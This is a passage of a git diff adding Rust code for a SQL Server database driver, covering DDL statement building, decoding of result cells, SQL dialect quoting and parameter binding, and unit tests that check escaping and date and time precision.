capabilities(&self) -> &DdlCapabilities { + &self.capabilities + } + + /// `sp_rename` takes the names as string literals, not identifiers. + /// They are national literals, so a name outside the server's code + /// page survives. + fn rename_table(&self, dialect: &dyn SqlDialect, table: &TableRef, new_name: &str) -> String { + format!( + "EXEC sp_rename {}, {}", + national_literal(&dialect.qualify(table)), + national_literal(new_name) + ) + } + + /// The column is named through its bracketed table, because + /// `sp_rename` splits the first argument on every unquoted `.`. + fn rename_column(&self, dialect: &dyn SqlDialect, table: &TableRef, column: &str, new_name: &str) -> String { + let object = format!("{}.{}", dialect.qualify(table), dialect.quote_identifier(column)); + format!( + "EXEC sp_rename {}, {}, N'COLUMN'", + national_literal(&object), + national_literal(new_name) + ) + } + + /// A default here is a constraint with a name of its own, which the + /// catalogue gave. The name is spliced as a bracketed identifier, + /// never through dynamic SQL, so a name holding `]` or a quote is + /// just a name. `None` where the column has no default constraint. + fn drop_column_default( + &self, + dialect: &dyn SqlDialect, + table: &TableRef, + _column: &str, + original: &ColumnDefinition, + ) -> Option { + let name = original.attributes.default_constraint_name.as_deref()?; + Some(format!( + "ALTER TABLE {} DROP CONSTRAINT {}", + dialect.qualify(table), + dialect.quote_identifier(name) + )) + } +} + +#[cfg(test)] +mod tests { + use tablepro_core::column::{ColumnDefault, ColumnInfo, SqlExpression}; + use tablepro_core::ddl::ColumnAttributes; + use tablepro_core::sql_ddl::{ + DraftColumn, StructureOp, build_alter_column, build_rename_column, build_rename_table, materialize_ops, + }; + + use super::*; + use crate::catalog::SqlServerType; + use crate::dialect::MssqlDialect; + + fn dialect() -> MssqlDialect { + MssqlDialect::new(16) + } + + fn column(name: &str, declared: &str, default_constraint_name: Option<&str>) -> ColumnDefinition { + let default = match default_constraint_name { + Some(_) => ColumnDefault::Expression(SqlExpression::from_catalog_text("((0))")), + None => ColumnDefault::None, + }; + ColumnDefinition::new( + ColumnInfo { + name: name.to_owned(), + column_type: SqlServerType::parse(declared).column_type().0, + nullable: true, + primary_key: false, + is_auto_increment: false, + is_generated: false, + default, + comment: None, + }, + ColumnAttributes { + default_constraint_name: default_constraint_name.map(str::to_owned), + ..ColumnAttributes::default() + }, + ) + } + + fn table() -> TableRef { + TableRef::new(Some("dbo".to_owned()), "orders") + } + + fn alter(draft: &DraftColumn) -> Vec { + build_alter_column("mssql", &dialect(), Some("dbo"), "orders", draft).expect("an alter") + } + + #[test] + fn mssql_default_drop_is_static_and_bracket_escaped() { + let dialect = dialect(); + + let drop = MSSQL_DDL + .drop_column_default(&dialect, &table(), "status", &column("status", "int", Some("DF]x"))) + .unwrap(); + + assert_eq!(drop, "ALTER TABLE [dbo].[orders] DROP CONSTRAINT [DF]]x]"); + assert!(!drop.contains("DECLARE")); + assert!(!drop.contains("EXEC(")); + } + + #[test] + fn mssql_default_drop_absent_without_constraint() { + assert_eq!( + MSSQL_DDL.drop_column_default(&dialect(), &table(), "status", &column("status", "int", None)), + None + ); + } + + #[test] + fn mssql_sp_rename_uses_national_literals() { + let dialect = dialect(); + + assert_eq!( + build_rename_table("mssql", &dialect, Some("dbo"), "orders", "đơn hàng").unwrap(), + "EXEC sp_rename N'[dbo].[orders]', N'đơn hàng'" + ); + assert_eq!( + build_rename_column("mssql", &dialect, Some("dbo"), "orders", "o'brien", "new'name").unwrap(), + "EXEC sp_rename N'[dbo].[orders].[o''brien]', N'new''name', N'COLUMN'" + ); + } + + #[test] + fn sp_rename_quotes_parts() { + assert_eq!( + MSSQL_DDL.rename_column(&dialect(), &table(), "a.b]c", "d"), + "EXEC sp_rename N'[dbo].[orders].[a.b]]c]', N'd', N'COLUMN'" + ); + } + + #[test] + fn a_default_change_drops_the_named_constraint_then_adds_the_new_default() { + let mut draft = DraftColumn::from_definition(column("status", "int", Some("DF_status"))); + draft.default_value = Some("1".to_owned()); + + assert_eq!( + alter(&draft), + vec![ + "ALTER TABLE [dbo].[orders] DROP CONSTRAINT [DF_status]".to_owned(), + "ALTER TABLE [dbo].[orders] ADD DEFAULT (1) FOR [status]".to_owned(), + ] + ); + } + + #[test] + fn clearing_a_default_only_drops() { + let mut draft = DraftColumn::from_definition(column("status", "int", Some("DF_status"))); + draft.default_value = None; + + assert_eq!( + alter(&draft), + vec!["ALTER TABLE [dbo].[orders] DROP CONSTRAINT [DF_status]".to_owned()] + ); + } + + #[test] + fn a_new_default_without_a_constraint_is_only_added() { + let mut draft = DraftColumn::from_definition(column("status", "int", None)); + draft.default_value = Some("0".to_owned()); + + assert_eq!( + alter(&draft), + vec!["ALTER TABLE [dbo].[orders] ADD DEFAULT (0) FOR [status]".to_owned()] + ); + } + + #[test] + fn the_default_drop_comes_before_a_type_change() { + let mut draft = DraftColumn::from_definition(column("status", "int", Some("DF_status"))); + draft.data_type = "bigint".to_owned(); + draft.default_value = Some("1".to_owned()); + + assert_eq!( + alter(&draft), + vec![ + "ALTER TABLE [dbo].[orders] DROP CONSTRAINT [DF_status]".to_owned(), + "ALTER TABLE [dbo].[orders] ALTER COLUMN [status] bigint NULL".to_owned(), + "ALTER TABLE [dbo].[orders] ADD DEFAULT (1) FOR [status]".to_owned(), + ] + ); + } + + #[test] + fn a_saved_rename_and_default_change_use_sp_rename_and_the_static_drop() { + let mut draft = DraftColumn::from_definition(column("x", "nvarchar(20)", Some("DF_x"))); + draft.default_value = Some("N'x'".to_owned()); + let ops = vec![ + StructureOp::RenameTable { + schema: Some("dbo".to_owned()), + old_name: "old_t".to_owned(), + new_name: "new_t".to_owned(), + }, + StructureOp::AlterColumn { + schema: Some("dbo".to_owned()), + table: "new_t".to_owned(), + column: draft, + }, + ]; + + let statements = materialize_ops(&ops, "mssql", &dialect()).expect("the change builds"); + + assert_eq!( + statements, + vec![ + "EXEC sp_rename N'[dbo].[old_t]', N'new_t'".to_owned(), + "ALTER TABLE [dbo].[new_t] DROP CONSTRAINT [DF_x]".to_owned(), + "ALTER TABLE [dbo].[new_t] ADD DEFAULT (N'x') FOR [x]".to_owned(), + ] + ); + assert!( + statements + .iter() + .all(|sql| !sql.contains("DECLARE") && !sql.contains("EXEC(")) + ); + } + + #[test] + fn the_structure_tab_offers_what_sql_server_can_alter() { + let capabilities = MSSQL_DDL.capabilities(); + + assert!(capabilities.alter_column_type && capabilities.alter_column_default); + assert!(!capabilities.alter_auto_increment); + assert!(!capabilities.expression_index_keys); + assert!(capabilities.partial_indexes); + } +} diff --git a/linux/crates/drivers/mssql/src/decode.rs b/linux/crates/drivers/mssql/src/decode.rs new file mode 100644 index 0000000000..18457b8c2d --- /dev/null +++ b/linux/crates/drivers/mssql/src/decode.rs @@ -0,0 +1,297 @@ +use chrono::{DateTime, Days, FixedOffset, NaiveDate, NaiveDateTime, NaiveTime}; +use tablepro_core::value::{OffsetTimestamp, SqlDecimal, SqlTime, Temporal, UndecodableReason, UndecodedValue, Value}; +use tiberius::time::{Date, DateTime as TdsDateTime, DateTime2, DateTimeOffset, SmallDateTime, Time}; +use tiberius::{ColumnData, Row}; + +use crate::catalog::type_label; + +const NANOS_PER_SECOND: u64 = 1_000_000_000; + +/// Every cell of a row, in column order. +pub(crate) fn decode_row(row: &Row) -> Vec { + row.cells() + .map(|(column, data)| decode_cell(data, type_label(column.column_type()))) + .collect() +} + +/// One cell, exactly. A NULL is the only thing that reads as `Null`; a +/// value the driver cannot represent says so instead. +pub(crate) fn decode_cell(data: &ColumnData<'static>, type_name: &str) -> Value { + let decoded = match data { + ColumnData::Bit(value) => value.map(Value::Bool), + ColumnData::U8(value) => value.map(|integer| Value::Int(i64::from(integer))), + ColumnData::I16(value) => value.map(|integer| Value::Int(i64::from(integer))), + ColumnData::I32(value) => value.map(|integer| Value::Int(i64::from(integer))), + ColumnData::I64(value) => value.map(Value::Int), + ColumnData::F32(value) => value.map(Value::Float32), + // MONEY arrives here too: tiberius reads it as a float. Browse + // reads money columns through a decimal cast instead. + ColumnData::F64(value) => value.map(Value::Float64), + ColumnData::String(value) => value.as_ref().map(|text| Value::Text(text.to_string())), + ColumnData::Guid(value) => value.map(Value::Uuid), + // CLR types such as geography and hierarchyid arrive as their + // serialised bytes. + ColumnData::Binary(value) => value.as_ref().map(|bytes| Value::Bytes(bytes.to_vec())), + // The wire carries the scaled integer, so no digit of a + // decimal(38,x) is rounded on the way. + ColumnData::Numeric(value) => value.map(|numeric| { + Value::Decimal(SqlDecimal::from_scaled_i128( + numeric.value(), + u32::from(numeric.scale()), + )) + }), + ColumnData::Xml(value) => value.as_ref().map(|xml| Value::Text(xml.to_string())), + ColumnData::Date(value) => { + value.map(|date| temporal(date_of(date).map(|date| Value::Date(Temporal::Finite(date))), type_name)) + } + ColumnData::Time(value) => value.map(|time| { + temporal( + time_of(time).map(|time| Value::Time(SqlTime::from_time_of_day(time))), + type_name, + ) + }), + ColumnData::DateTime2(value) => value.map(|stamp| { + temporal( + datetime2_of(stamp).map(|stamp| Value::Timestamp(Temporal::Finite(stamp))), + type_name, + ) + }), + ColumnData::DateTime(value) => value.map(|stamp| { + temporal( + datetime_of(stamp).map(|stamp| Value::Timestamp(Temporal::Finite(stamp))), + type_name, + ) + }), + ColumnData::SmallDateTime(value) => value.map(|stamp| { + temporal( + small_datetime_of(stamp).map(|stamp| Value::Timestamp(Temporal::Finite(stamp))), + type_name, + ) + }), + ColumnData::DateTimeOffset(value) => value.map(|stamp| { + temporal( + datetimeoffset_of(stamp) + .map(|stamp| Value::TimestampTz(Temporal::Finite(OffsetTimestamp::from_datetime(stamp)))), + type_name, + ) + }), + }; + decoded.unwrap_or(Value::Null) +} + +fn temporal(value: Option, type_name: &str) -> Value { + value.unwrap_or_else(|| { + Value::Undecodable(Box::new(UndecodedValue { + type_name: type_name.to_owned(), + reason: UndecodableReason::OutOfRange, + })) + }) +} + +/// Days since 0001-01-01. +fn date_of(date: Date) -> Option { + NaiveDate::from_ymd_opt(1, 1, 1)?.checked_add_days(Days::new(u64::from(date.days()))) +} + +/// Increments of 10^-scale seconds since midnight, kept to the 100 ns +/// the widest scale gives. +fn time_of(time: Time) -> Option { + let scale = u32::from(time.scale()); + let unit = 10u64.checked_pow(9u32.checked_sub(scale)?)?; + let nanos = time.increments().checked_mul(unit)?; + let seconds = u32::try_from(nanos / NANOS_PER_SECOND).ok()?; + let fraction = u32::try_from(nanos % NANOS_PER_SECOND).ok()?; + NaiveTime::from_num_seconds_from_midnight_opt(seconds, fraction) +} + +fn datetime2_of(stamp: DateTime2) -> Option { + Some(NaiveDateTime::new(date_of(stamp.date())?, time_of(stamp.time())?)) +} + +/// A datetimeoffset carries UTC and the offset it was written with; both +/// are kept, so `+05:30` reads back as `+05:30`. +fn datetimeoffset_of(stamp: DateTimeOffset) -> Option> { + let utc = datetime2_of(stamp.datetime2())?; + let offset = FixedOffset::east_opt(i32::from(stamp.offset()).checked_mul(60)?)?; + Some(DateTime::from_naive_utc_and_offset(utc, offset)) +} + +/// Days since 1900-01-01, which may be negative back to 1753, and +/// three-hundredths of a second since midnight. SQL Server shows those +/// rounded to the millisecond (.000, .003, .007), and so does this. +fn datetime_of(stamp: TdsDateTime) -> Option { + let epoch = NaiveDate::from_ymd_opt(1900, 1, 1)?; + let days = stamp.days(); + let date = match u64::try_from(days) { + Ok(forward) => epoch.checked_add_days(Days::new(forward))?, + Err(_) => epoch.checked_sub_days(Days::new(u64::from(days.unsigned_abs())))?, + }; + let millis = (u64::from(stamp.seconds_fragments()) * 20 + 3) / 6; + let seconds = u32::try_from(millis / 1_000).ok()?; + let nanos = u32::try_from(millis % 1_000 * 1_000_000).ok()?; + Some(NaiveDateTime::new( + date, + NaiveTime::from_num_seconds_from_midnight_opt(seconds, nanos)?, + )) +} + +/// Days since 1900-01-01 and minutes since midnight. +fn small_datetime_of(stamp: SmallDateTime) -> Option { + let date = NaiveDate::from_ymd_opt(1900, 1, 1)?.checked_add_days(Days::new(u64::from(stamp.days())))?; + let seconds = u32::from(stamp.seconds_fragments()).checked_mul(60)?; + Some(NaiveDateTime::new( + date, + NaiveTime::from_num_seconds_from_midnight_opt(seconds, 0)?, + )) +} + +#[cfg(test)] +mod tests { + use std::borrow::Cow; + + use tiberius::numeric::Numeric; + + use super::*; + + fn decode(data: ColumnData<'static>) -> Value { + decode_cell(&data, "test") + } + + /// 2024-06-15 counted in days from 0001-01-01. + fn june_15_2024() -> Date { + let days = NaiveDate::from_ymd_opt(2024, 6, 15) + .unwrap() + .signed_duration_since(NaiveDate::from_ymd_opt(1, 1, 1).unwrap()) + .num_days(); + Date::new(u32::try_from(days).unwrap()) + } + + #[test] + fn a_null_of_any_type_is_null_and_nothing_else_is() { + for null in [ + ColumnData::I32(None), + ColumnData::String(None), + ColumnData::Binary(None), + ColumnData::DateTimeOffset(None), + ColumnData::Numeric(None), + ] { + assert_eq!(decode(null), Value::Null); + } + assert_eq!( + decode(ColumnData::String(Some(Cow::Borrowed("")))), + Value::Text(String::new()) + ); + } + + #[test] + fn integers_floats_and_bits() { + assert_eq!(decode(ColumnData::U8(Some(255))), Value::Int(255)); + assert_eq!(decode(ColumnData::I64(Some(i64::MIN))), Value::Int(i64::MIN)); + assert_eq!(decode(ColumnData::F32(Some(1.5))), Value::Float32(1.5)); + assert_eq!(decode(ColumnData::Bit(Some(true))), Value::Bool(true)); + } + + #[test] + fn a_decimal_keeps_all_38_digits() { + let widest = 10i128.pow(37) * 9 + 1; + + let decoded = decode(ColumnData::Numeric(Some(Numeric::new_with_scale(widest, 10)))); + + assert_eq!(decoded, Value::Decimal(SqlDecimal::from_scaled_i128(widest, 10))); + } + + #[test] + fn money_max_min_through_the_decimal_cast_is_exact() { + let max = decode(ColumnData::Numeric(Some(Numeric::new_with_scale( + 9_223_372_036_854_775_807, + 4, + )))); + let min = decode(ColumnData::Numeric(Some(Numeric::new_with_scale( + -9_223_372_036_854_775_808, + 4, + )))); + + assert_eq!(max, Value::Decimal("922337203685477.5807".parse().unwrap())); + assert_eq!(min, Value::Decimal("-922337203685477.5808".parse().unwrap())); + } + + #[test] + fn datetimeoffset_plus_0530_keeps_its_offset() { + let utc_time = Time::new((8 * 3600 + 15 * 60) * 10_000_000 + 1_234_567, 7); + let stamp = DateTimeOffset::new(DateTime2::new(june_15_2024(), utc_time), 330); + + let decoded = decode(ColumnData::DateTimeOffset(Some(stamp))); + + let expected = DateTime::parse_from_rfc3339("2024-06-15T13:45:00.1234567+05:30").unwrap(); + assert_eq!( + decoded, + Value::TimestampTz(Temporal::Finite(OffsetTimestamp::from_datetime(expected))) + ); + } + + #[test] + fn datetime2_and_time_keep_100_nanoseconds() { + let time = Time::new(10 * 3600 * 10_000_000 + 1, 7); + + let stamp = decode(ColumnData::DateTime2(Some(DateTime2::new(june_15_2024(), time)))); + let Value::Timestamp(Temporal::Finite(stamp)) = stamp else { + panic!("not a timestamp: {stamp:?}"); + }; + assert_eq!( + stamp.format("%Y-%m-%d %H:%M:%S%.9f").to_string(), + "2024-06-15 10:00:00.000000100" + ); + + let coarse = decode(ColumnData::Time(Some(Time::new(12_345, 3)))); + assert_eq!( + coarse, + Value::Time(SqlTime::from_time_of_day( + NaiveTime::from_hms_milli_opt(0, 0, 12, 345).unwrap() + )) + ); + } + + #[test] + fn datetime_rounds_three_hundredths_as_the_server_shows_them() { + let three_ms = decode(ColumnData::DateTime(Some(TdsDateTime::new(0, 1)))); + let seven_ms = decode(ColumnData::DateTime(Some(TdsDateTime::new(-1, 2)))); + + let expected = |text: &str| { + Value::Timestamp(Temporal::Finite( + NaiveDateTime::parse_from_str(text, "%Y-%m-%d %H:%M:%S%.3f").unwrap(), + )) + }; + assert_eq!(three_ms, expected("1900-01-01 00:00:00.003")); + assert_eq!(seven_ms, expected("1899-12-31 00:00:00.007")); + assert_eq!( + decode(ColumnData::SmallDateTime(Some(SmallDateTime::new(1, 61)))), + expected("1900-01-02 01:01:00.000") + ); + } + + #[test] + fn a_time_past_midnight_is_undecodable_not_null() { + let decoded = decode(ColumnData::Time(Some(Time::new(86_400 * 10_000_000, 7)))); + + assert!(matches!( + decoded, + Value::Undecodable(undecoded) if undecoded.reason == UndecodableReason::OutOfRange + )); + } + + #[test] + fn guid_binary_and_xml() { + let id = uuid::Uuid::from_u128(42); + + assert_eq!(decode(ColumnData::Guid(Some(id))), Value::Uuid(id)); + assert_eq!( + decode(ColumnData::Binary(Some(Cow::Owned(vec![0xde, 0xad])))), + Value::Bytes(vec![0xde, 0xad]) + ); + let xml = tiberius::xml::XmlData::new(""); + assert_eq!( + decode(ColumnData::Xml(Some(Cow::Owned(xml)))), + Value::Text("".to_owned()) + ); + } +} diff --git a/linux/crates/drivers/mssql/src/dialect.rs b/linux/crates/drivers/mssql/src/dialect.rs new file mode 100644 index 0000000000..f5310946f3 --- /dev/null +++ b/linux/crates/drivers/mssql/src/dialect.rs @@ -0,0 +1,570 @@ +use tablepro_core::column::{ + BoolStorage, ColumnInfo, ColumnKind, ColumnType, FloatWidth, IntegerKind, IntegerWidth, ReadForm, SqlExpression, + TemporalZone, TextLength, +}; +use tablepro_core::ddl::DdlDialect; +use tablepro_core::dialect::{ + BindError, BindTarget, DialectCapabilities, KeysetDirection, LikeCase, LikeForm, LiteralError, Placeholder, + SqlDialect, +}; +use tablepro_core::meta::{EngineRowId, EngineRowIdPart}; +use tablepro_core::sql_syntax::{ + ExpressionSyntaxError, MAX_EXPRESSION_LEN, MAX_TYPE_LEN, SqlGrammar, TypeSyntaxError, parse_expression, parse_type, +}; +use tablepro_core::statement::{BoundParam, ParamType}; +use tablepro_core::value::{Temporal, Value}; + +use crate::catalog::SqlServerType; +use crate::ddl::MSSQL_DDL; + +/// A string literal in the national character set. Without the `N`, the +/// server reads the text in the database's code page and loses every +/// character outside it. +pub(crate) fn national_literal(text: &str) -> String { + format!("N'{}'", text.replace('\'', "''")) +} + +/// How SQL Server spells SQL. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct MssqlDialect { + major_version: u32, +} + +impl MssqlDialect { + pub fn new(major_version: u32) -> Self { + Self { major_version } + } + + pub fn major_version(&self) -> u32 { + self.major_version + } +} + +impl SqlDialect for MssqlDialect { + /// SQL Server adds the rows its triggers touch to a statement's + /// count, so a write proves itself with a probe instead. + fn capabilities(&self) -> DialectCapabilities { + DialectCapabilities { + exact_row_counts: false, + } + } + + fn grammar(&self) -> SqlGrammar { + SqlGrammar::MsSql + } + + fn quote_identifier(&self, name: &str) -> String { + format!("[{}]", name.replace(']', "]]")) + } + + fn placeholder(&self, ordinal: usize, value: Value, target: BindTarget<'_>) -> Result { + let marker = format!("@P{}", ordinal + 1); + let param_type = match target { + BindTarget::Pattern => ParamType::Text, + BindTarget::EngineRowId(_) => { + return Err(BindError::Unrepresentable { + expected: "a SQL Server column", + found: "another engine's row address", + }); + } + BindTarget::Column(column) => param_type_for(column)?, + }; + let sql = match (¶m_type, target) { + (ParamType::ServerText(cast), _) => format!("CAST({marker} AS {cast})"), + (ParamType::Timestamp, BindTarget::Column(column)) => match legacy_datetime(column) { + Some(legacy) => format!("CAST({marker} AS {legacy})"), + None => marker, + }, + _ => marker, + }; + Ok(Placeholder::bound(sql, BoundParam::new(value, param_type)?)) + } + + fn literal(&self, value: &Value, column: &ColumnType) -> Result { + match value { + Value::Null => Ok("NULL".to_owned()), + // BIT takes 0 or 1; there is no boolean literal. + Value::Bool(flag) => Ok(if *flag { "1" } else { "0" }.to_owned()), + Value::Int(integer) => Ok(integer.to_string()), + Value::UInt(integer) => Ok(integer.to_string()), + Value::WideInt(integer) => Ok(integer.to_string()), + Value::Decimal(decimal) if decimal.is_finite() => Ok(decimal.to_string()), + // Debug keeps the point or the exponent, so `2.0` stays a + // float rather than reading back as the integer 2. + Value::Float32(real) if real.is_finite() => Ok(format!("{:?}", f64::from(*real))), + Value::Float64(real) if real.is_finite() => Ok(format!("{real:?}")), + Value::Text(text) => Ok(national_literal(text)), + Value::Json(json) => Ok(national_literal(json.as_str())), + Value::Other(other) => Ok(national_literal(&other.text)), + Value::Bytes(bytes) => Ok(format!("0x{}", tablepro_core::hex::encode_lower(bytes))), + Value::Uuid(uuid) => Ok(format!("'{uuid}'")), + // ISO 8601 with the `T` reads the same under every language + // and DATEFORMAT setting, which the space form does not. + Value::Date(Temporal::Finite(date)) => Ok(format!("'{}'", date.format("%Y-%m-%d"))), + Value::Time(time) => Ok(format!("'{}'", time.format(fraction_digits(column)))), + Value::Timestamp(Temporal::Finite(stamp)) => Ok(format!( + "'{}{}'", + stamp.format("%Y-%m-%dT%H:%M:%S"), + fraction(stamp.and_utc().timestamp_subsec_nanos(), fraction_digits(column)) + )), + Value::TimestampTz(Temporal::Finite(stamp)) => { + let local = stamp.to_datetime(); + Ok(format!( + "'{}{}{}'", + local.format("%Y-%m-%dT%H:%M:%S"), + fraction(local.timestamp_subsec_nanos(), fraction_digits(column)), + local.format("%:z") + )) + } + Value::Undecodable(undecodable) => Err(LiteralError::Undecodable { + reason: format!("{:?}", undecodable.reason), + }), + other => Err(LiteralError::Unrepresentable { + found: other.variant_name(), + }), + } + } + + /// `[` opens a character class in T-SQL patterns, so it is escaped + /// with the wildcards. + fn escape_like_text(&self, text: &str) -> String { + let mut escaped = String::with_capacity(text.len()); + for character in text.chars() { + if matches!(character, '!' | '%' | '_' | '[') { + escaped.push('!'); + } + escaped.push(character); + } + escaped + } + + /// LOWER() on both sides keeps an insensitive filter insensitive + /// under a case-sensitive collation. + fn like_predicate(&self, column_sql: &str, pattern_sql: &str, form: LikeForm) -> String { + let (left, right) = match form.case { + LikeCase::Insensitive => (format!("LOWER({column_sql})"), format!("LOWER({pattern_sql})")), + LikeCase::EngineDefault => (column_sql.to_owned(), pattern_sql.to_owned()), + }; + let operator = if form.negated { "NOT LIKE" } else { "LIKE" }; + match form.escaped { + true => format!("{left} {operator} {right} ESCAPE '!'"), + false => format!("{left} {operator} {right}"), + } + } + + /// OFFSET … FETCH is part of ORDER BY in T-SQL, so a page with no + /// sort still needs one; `(SELECT NULL)` orders nothing. + fn row_window(&self, order_by: Option<&str>, limit: u64, offset: u64) -> String { + let order = order_by + .map(str::trim) + .filter(|order| !order.is_empty()) + .unwrap_or("(SELECT NULL)"); + format!(" ORDER BY {order} OFFSET {offset} ROWS FETCH NEXT {limit} ROWS ONLY") + } + + /// SQL Server has no row-value comparison, so `(a, b) > (?, ?)` is + /// written out: `a > ? OR (a = ? AND b > ?)`. + fn row_value_after(&self, key_sql: &[String], markers: &[String], direction: KeysetDirection) -> String { + let comparison = direction.comparison(); + let mut branches = Vec::with_capacity(key_sql.len()); + for (last, key) in key_sql.iter().enumerate() { + let mut terms: Vec = key_sql + .iter() + .zip(markers) + .take(last) + .map(|(earlier, marker)| format!("{earlier} = {marker}")) + .collect(); + let marker = markers.get(last).map(String::as_str).unwrap_or_default(); + terms.push(format!("{key} {comparison} {marker}")); + branches.push(match terms.len() { + 1 => terms.concat(), + _ => format!("({})", terms.join(" AND ")), + }); + } + branches.join(" OR ") + } + + fn engine_row_id(&self, _id: EngineRowId) -> Option { + None + } + + fn engine_row_id_column(&self, _part: EngineRowIdPart) -> Option { + None + } + + fn parse_type(&self, text: &str) -> Result { + let parsed = parse_type(SqlGrammar::MsSql, text, MAX_TYPE_LEN)?; + let (mut column_type, _) = SqlServerType::parse(&parsed.text).column_type(); + // A draft has no catalogue yet; its own spelling is the one to + // splice into DDL. + column_type.name = parsed.text; + Ok(column_type) + } + + fn parse_expression(&self, text: &str) -> Result { + let parsed = parse_expression(SqlGrammar::MsSql, text, MAX_EXPRESSION_LEN)?; + Ok(SqlExpression::from_catalog_text(parsed.text)) + } + + fn ddl(&self) -> Option<&dyn DdlDialect> { + Some(&MSSQL_DDL) + } + + /// A type the driver cannot decode is read as the server's text, and + /// money as a decimal of its own scale: tiberius reads MONEY as a + /// float, which would round it. + fn projection(&self, column: &ColumnInfo) -> String { + let name = self.quote_identifier(&column.name); + match column.column_type.read_form { + ReadForm::ServerText => format!("CAST({name} AS nvarchar(max)) AS {name}"), + ReadForm::ServerNumeric => format!("CAST({name} AS {}) AS {name}", money_decimal(&column.column_type)), + ReadForm::Native => name, + } + } + + /// xml takes neither LIKE nor `=`. + fn text_operand(&self, column: &ColumnInfo) -> Option { + matches!(column.column_type.kind, ColumnKind::Xml) + .then(|| format!("CAST({} AS nvarchar(max))", self.quote_identifier(&column.name))) + } + + fn equality_as_text(&self, column: &ColumnInfo) -> bool { + matches!(column.column_type.kind, ColumnKind::Xml) + } + + /// COUNT(*) is an int on SQL Server and overflows past two billion + /// rows. + fn count_all(&self) -> &'static str { + "COUNT_BIG(*)" + } + + /// The lock hints hold the probed key until commit, so the row cannot + /// change between the probe and the write. + fn key_probe(&self, table_sql: &str, predicate_sql: &str) -> String { + format!( + "SELECT COUNT_BIG(*) FROM (SELECT TOP (2) 1 AS one FROM {table_sql} WITH (UPDLOCK, HOLDLOCK) WHERE {predicate_sql}) AS probe" + ) + } +} + +/// The decimal a money column is read as: MONEY's own range and scale, +/// or SMALLMONEY's. +fn money_decimal(column: &ColumnType) -> &'static str { + let declared = column + .catalog + .as_ref() + .map_or(column.name.as_str(), |catalog| catalog.declaration.as_sql()); + match declared.eq_ignore_ascii_case("smallmoney") { + true => "decimal(10,4)", + false => "decimal(19,4)", + } +} + +fn fraction_digits(column: &ColumnType) -> Option { + column.kind.fractional_digits() +} + +/// The fraction of a second as SQL Server accepts it for the column: +/// datetime takes three digits at most, datetime2 seven. +fn fraction(nanos: u32, digits: Option) -> String { + let digits = usize::from(digits.unwrap_or(7).min(7)); + let text = format!("{:09}", nanos.min(999_999_999)); + let kept = text.get(..digits).unwrap_or_default().trim_end_matches('0'); + match kept.is_empty() { + true => String::new(), + false => format!(".{kept}"), + } +} + +/// tiberius sends every timestamp as datetime2(7), and SQL Server widens +/// a datetime column to compare with it: a stored .003 becomes .0033333, +/// so the value the grid shows matches no row. Cast back to the column's +/// own type and both sides round the same way. +fn legacy_datetime(column: &ColumnInfo) -> Option<&'static str> { + let declared = column.column_type.catalog.as_ref()?.cast_target.as_sql(); + ["datetime", "smalldatetime"] + .into_iter() + .find(|legacy| declared.eq_ignore_ascii_case(legacy)) +} + +/// The parameter type a column takes. +fn param_type_for(column: &ColumnInfo) -> Result { + let column_type = &column.column_type; + Ok(match &column_type.kind { + ColumnKind::Bool(BoolStorage::Native) => ParamType::Bool, + ColumnKind::Bool(BoolStorage::Integer) => ParamType::Int64, + ColumnKind::Integer(kind) => integer_param_type(*kind), + ColumnKind::Decimal { .. } | ColumnKind::Money { .. } => ParamType::Decimal, + ColumnKind::Float(FloatWidth::F32) => ParamType::Float32, + ColumnKind::Float(FloatWidth::F64) => ParamType::Float64, + ColumnKind::Text { + length: TextLength::Fixed(_), + } => ParamType::FixedText, + ColumnKind::Text { .. } | ColumnKind::Enum { .. } | ColumnKind::Xml | ColumnKind::Json { .. } => { + ParamType::Text + } + ColumnKind::Bytes { .. } => ParamType::Bytes, + ColumnKind::Uuid => ParamType::Uuid, + ColumnKind::Date => ParamType::Date, + ColumnKind::Time { .. } => ParamType::Time, + ColumnKind::Timestamp { + zone: TemporalZone::Offset, + .. + } => ParamType::TimestampTz, + ColumnKind::Timestamp { .. } => ParamType::Timestamp, + // A type only the server names binds as text and is cast on the + // way in, to the type the catalogue gave. + ColumnKind::Spatial + | ColumnKind::Variant + | ColumnKind::Other + | ColumnKind::Composite + | ColumnKind::Network(_) + | ColumnKind::BitString { .. } + | ColumnKind::Array { .. } + | ColumnKind::Interval => match &column_type.catalog { + Some(catalog) => ParamType::ServerText(catalog.cast_target.clone()), + None => { + return Err(BindError::MissingCatalogType { + column: column.name.clone(), + }); + } + }, + }) +} + +/// tinyint is unsigned 0..255, which a smallint parameter holds. +fn integer_param_type(kind: IntegerKind) -> ParamType { + match kind.width { + IntegerWidth::W8 | IntegerWidth::W16 => ParamType::Int16, + IntegerWidth::W24 | IntegerWidth::W32 => ParamType::Int32, + IntegerWidth::W64 if kind.signed => ParamType::Int64, + IntegerWidth::W64 | IntegerWidth::W128 | IntegerWidth::W256 => ParamType::Decimal, + } +} + +#[cfg(test)] +mod tests { + use chrono::{DateTime, NaiveDate}; + use tablepro_core::column::{ColumnDefault, SqlTypeExpr}; + use tablepro_core::value::OffsetTimestamp; + + use super::*; + + fn dialect() -> MssqlDialect { + MssqlDialect::new(16) + } + + fn column(declared: &str) -> ColumnInfo { + ColumnInfo { + name: "c".to_owned(), + column_type: SqlServerType::parse(declared).column_type().0, + nullable: true, + primary_key: false, + is_auto_increment: false, + is_generated: false, + default: ColumnDefault::None, + comment: None, + } + } + + fn bound(declared: &str, value: Value) -> Placeholder { + dialect() + .placeholder(0, value, BindTarget::Column(&column(declared))) + .unwrap() + } + + #[test] + fn null_varbinary_binds_as_bytes() { + let placeholder = bound("varbinary(max)", Value::Null); + + assert_eq!(placeholder.sql, "@P1"); + assert_eq!( + placeholder.param.as_ref().map(BoundParam::param_type), + Some(&ParamType::Bytes) + ); + } + + #[test] + fn markers_count_from_the_params_already_bound() { + let placeholder = dialect() + .placeholder(2, Value::Int(7), BindTarget::Column(&column("int"))) + .unwrap(); + + assert_eq!(placeholder.sql, "@P3"); + assert_eq!( + placeholder.param.as_ref().map(BoundParam::param_type), + Some(&ParamType::Int32) + ); + } + + #[test] + fn a_legacy_datetime_parameter_is_cast_to_the_column_type() { + let stamp = NaiveDate::from_ymd_opt(2024, 6, 15) + .and_then(|date| date.and_hms_milli_opt(10, 0, 0, 3)) + .unwrap(); + let timestamp = || Value::Timestamp(tablepro_core::value::Temporal::Finite(stamp)); + + assert_eq!(bound("datetime", timestamp()).sql, "CAST(@P1 AS datetime)"); + assert_eq!(bound("smalldatetime", timestamp()).sql, "CAST(@P1 AS smalldatetime)"); + assert_eq!(bound("datetime2(3)", 